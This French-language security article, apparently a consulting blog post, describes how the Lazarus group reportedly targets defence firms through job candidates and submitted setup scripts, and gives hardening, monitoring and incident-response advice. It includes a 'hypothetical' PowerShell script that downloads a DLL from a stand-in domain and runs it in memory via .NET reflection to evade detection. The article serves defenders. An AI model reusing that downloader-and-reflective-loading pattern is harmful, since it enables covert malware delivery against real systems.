Lazarus et le piège de l’ingénierie sociale : Infiltrer la défense par les offres d’emploi

Le groupe nord-coréen Lazarus a démontré une capacité redoutable à exploiter les processus de recrutement standard pour identifier des failles de sécurité dans les environnements de défense, combinant une ingénierie sociale ciblée et l'exploitation technique de vulnérabilités logicielles inédites.

En bref

• Vecteur principal : Des offres d'emploi fictives ou réelles utilisées comme appât pour cartographier les compétences et les accès des employés potentiels.
• Technique d'exploitation : Utilisation d'un exploit 0-day (faille non corrigée) pour compromettre les postes de travail lors du processus d'intégration ou de test technique.
• Cible : Entreprises de l'industrie de la défense, sous-traitants et fournisseurs critiques.
• Objectif : Exfiltration de données sensibles (plans, spécifications) et installation de backdoors persistantes.
• Réponse requise : Durcissement des processus de "pre-onboarding" et surveillance active des anomalies réseau sur les comptes candidats.

Le mécanisme de l'infiltration par le recrutement

L'approche de Lazarus ne repose pas sur une brute force des pare-feux, mais sur l'exploitation de la confiance institutionnelle. Le groupe cible les entreprises de défense en simulant des profils de candidats très qualifiés (ingénieurs système, experts cloud, architectes sécurité). Ces profils sont souvent crédibles car ils disposent d'un CV détaillé, d'un portfolio technique solide et d'une présence en ligne cohérente.

La phase critique intervient lors de l'étape de validation technique. Pour prouver leurs compétences, les candidats (en réalité des agents de Lazarus) demandent souvent l'accès à des environnements de test, des sandbox, ou même des instances de développement partagées. C'est ici que la faille se niche : ces environnements, bien que censés être isolés, partagent souvent des bibliothèques logicielles, des identifiants de service ou des accès réseau avec l'infrastructure de production ou de staging.

Lazarus exploite cette fenêtre d'opportunité en introduisant un code malveillant via les outils de développement ou les scripts de configuration fournis par le candidat. Contrairement à une simple injection de script, il s'agit ici d'exploiter une vulnérabilité spécifique (0-day ou 1-day non patché) dans les outils d'administration ou les bibliothèques de gestion de configuration. Cet exploit permet au groupe d'échapper aux restrictions du sandbox et d'obtenir une exécution de code sur le réseau interne de l'entreprise cible.

Exploitation technique et chaine d'attaque

L'analyse des artefacts malveillants observés dans ce type d'opération révèle une sophistication technique élevée. Voici les étapes techniques typiques de cette chaine d'attaque :

1. Livraison du payload : Le candidat malveillant soumet un script de configuration (par exemple, en PowerShell, Bash ou Python) ou une image Docker personnalisée pour l'intégration de son environnement de travail.
2. Exploitation de la faille : Le code contient un exploit ciblant une vulnérabilité dans un composant légitime de l'entreprise (ex : un service de messagerie interne, un agent de supervision, ou une dépendance logicielle critique). Cette faille permet d'élever les privilèges ou de contourner les mécanismes de sandbox.
3. Établissement de la persistance : Une fois l'exécution de code obtenue, l'agent installe un rootkit ou un backdoor. Ce dernier est souvent signé numériquement avec un certificat volé pour éviter la détection par les solutions EDR (Endpoint Detection and Response).
4. Exfiltration : Les données sensibles sont chiffrées et exfiltrées via des canaux de communication chiffrés (TLS) vers des serveurs de commande et de contrôle (C2) hébergés dans des pays tiers, masquant l'origine nord-coréenne.

Pour illustrer la complexité, voici un exemple hypothétique de script d'initialisation malveillant que le "candidat" pourrait soumettre pour "tester sa connectivité" :

# Script d'initialisation prétendument inoffensif
# En réalité, il contient un appel obfusqué vers un C2

function Initialize-DevEnvironment {
    # Vérification de la connectivité réseau standard
    Test-NetConnection -ComputerName internal-gateway.corp -Port 443 | Out-Null

    # Chargement d'une bibliothèque dynamique suspecte
    # Le nom de fichier est générique pour tromper l'analyseur
    $payloadPath = "$env:TEMP\lib_config_update.dll"
    
    if (-not (Test-Path $payloadPath)) {
        # Téléchargement du payload depuis un domaine compromis
        Invoke-WebRequest -Uri "https://cdn-assets-update[.]com/lib.dll" -OutFile $payloadPath
    }

    # Exécution via reflection pour éviter la détection statique
    $assembly = [System.Reflection.Assembly]::LoadFile($payloadPath)
    $type = $assembly.GetTypes() | Where-Object { $_.Name -eq "ConfigLoader" }
    $method = $type.GetMethod("Execute")
    $method.Invoke($null, $null)
}

Initialize-DevEnvironment

Ce code, bien qu'hypothétique, illustre la méthode : l'utilisation d'une fonctionnalité légitime (téléchargement de dépendances) pour injecter un code exécuté en mémoire via la réflexion .NET, évitant ainsi l'écriture de fichiers exécutables sur le disque qui seraient facilement détectés.

Pourquoi les processus de recrutement sont vulnérables

Les équipes RH et IT des entreprises de défense opèrent souvent sous deux contraintes contradictoires : la nécessité de recruter rapidement des talents rares et la rigueur de la sécurité. Cette tension crée des failles de process.

• Isolation insuffisante des comptes candidats : Les comptes créés pour les tests techniques sont parfois trop puissants. Ils peuvent avoir des droits d'administration locale ou des accès à des sous-réseaux de développement qui ne sont pas strictement isolés du réseau de production.
• Lack of Visibility : Les outils de supervision (SIEM) sont souvent calibrés pour détecter les activités anormales des employés internes. Les activités des comptes "candidats" sont parfois exclues des règles d'alerte principales car elles sont considérées comme temporaires et à faible risque.
• Confiance dans l'outil : Si le candidat utilise un outil de gestion de configuration standard (comme Ansible, Terraform ou un script de déploiement cloud), les administrateurs peuvent accorder un niveau de confiance excessif, négligeant l'audit approfondi du code soumis.

Lazarus exploite cette confiance en se comportant comme un utilisateur légitime. Il ne force pas les verrous ; il demande la clé.

Bonnes pratiques pour consultants IT

En tant que consultants IT, vous êtes souvent les premiers à intervenir dans ces environnements. Voici les mesures concrètes à implémenter ou à auditer chez vos clients de la défense :

1. Durcissement des environnements de test (Sandboxing strict)

Assurez-vous que les environnements fournis aux candidats sont strictement isolés (VLAN séparés, NACLs restrictifs).

• Interdiction de l'accès direct au réseau interne : Tout trafic sortant des sandbox doit passer par un proxy avec filtrage de contenu.
• Suppression des droits d'administration : Les comptes candidats doivent être des utilisateurs standard sans privilèges élevés.
• Exemple de configuration réseau (Linux) :

  # Isolation stricte du VLAN candidat
  # Interdiction du trafic vers le réseau de production (10.0.0.0/8)
  iptables -A FORWARD -i eth0 -o eth1 -d 10.0.0.0/8 -j DROP
  # Autorisation uniquement du trafic web sortant (443)
  iptables -A FORWARD -i eth0 -o eth1 -p tcp --dport 443 -j ACCEPT
  

2. Audit dynamique du code soumis

Ne jamais exécuter de code soumis par un candidat sans une revue de code manuelle et un analyse statique/dynamique (SAST/DAST).

• Utilisez des outils comme Snyk, SonarQube ou des scanners spécialisés pour détecter les appels réseau suspects, les chargements de bibliothèques dynamiques non standard, ou les techniques d'obfuscation.
• Exigez que le code soit open-source ou soumis à une revue par un pair interne avant toute exécution.

3. Surveillance comportementale renforcée

Intégrez les comptes candidats dans votre SIEM avec des règles d'alerte spécifiques.

• Alerte sur les connexions sortantes anormales : Tout accès à des domaines inconnus ou des adresses IP non listées dans la liste blanche doit déclencher une alerte de haut niveau.
• Détection de l'exécution de code en mémoire : Utilisez des solutions EDR capables de détecter les techniques d'injection de code (comme la réflexion .NET ou l'appel de shellcode) même sans écriture de fichier.

4. Formation des équipes RH et IT

Les équipes non techniques sont la première ligne de défense.

• Formez les recruteurs à reconnaître les red flags : CV trop parfaits, refus de visioconférence, demande insistante d'accès réseau immédiat.
• Établissez une procédure de "double check" : toute demande d'accès réseau pour un candidat doit être validée par un administrateur système senior, pas seulement par le recruteur.

5. Réponse à l'incident

En cas de suspicion d'infiltration via un candidat :

• Isoler immédiatement le poste de travail.
• Capturer la mémoire RAM et le disque dur pour analyse forensique.
• Révoquer tous les accès réseau du compte concerné.
• Analyser les journaux de proxy pour identifier les données exfiltrées.

Points clés

L'infiltration par Lazarus via les offres d'emploi est une démonstration que la sécurité ne peut pas être un processus uniquement technique. Elle est aussi un processus humain et organisationnel. Les entreprises de la défense doivent considérer chaque candidat comme une menace potentielle jusqu'à preuve du contraire.

La combinaison d'une ingénierie sociale sophistiquée et d'une exploitation technique précise (0-day) rend ce vecteur d'attaque particulièrement dangereux. Il contourne les défenses périmétriques traditionnelles en utilisant la porte d'entrée la plus naturelle : le recrutement.

Les consultants IT ont un rôle crucial à jouer en implémentant des contrôles de sécurité rigoureux dans les processus de pré-embauche. Cela implique non seulement des mesures techniques (sandboxing, EDR, SIEM) mais aussi des changements de processus (audit de code, formation des équipes).

Enfin, il est essentiel de rester vigilant. Les techniques de Lazarus évoluent constamment. Ce qui fonctionne aujourd'hui peut ne plus fonctionner demain. La meilleure défense est une posture de sécurité proactive, basée sur la détection continue et la réponse rapide.

En résumé, ne laissez jamais un candidat accéder à votre infrastructure sans une supervision stricte et une analyse approfondie de ses actions. La sécurité de votre entreprise est en jeu.

Source : Silicon.fr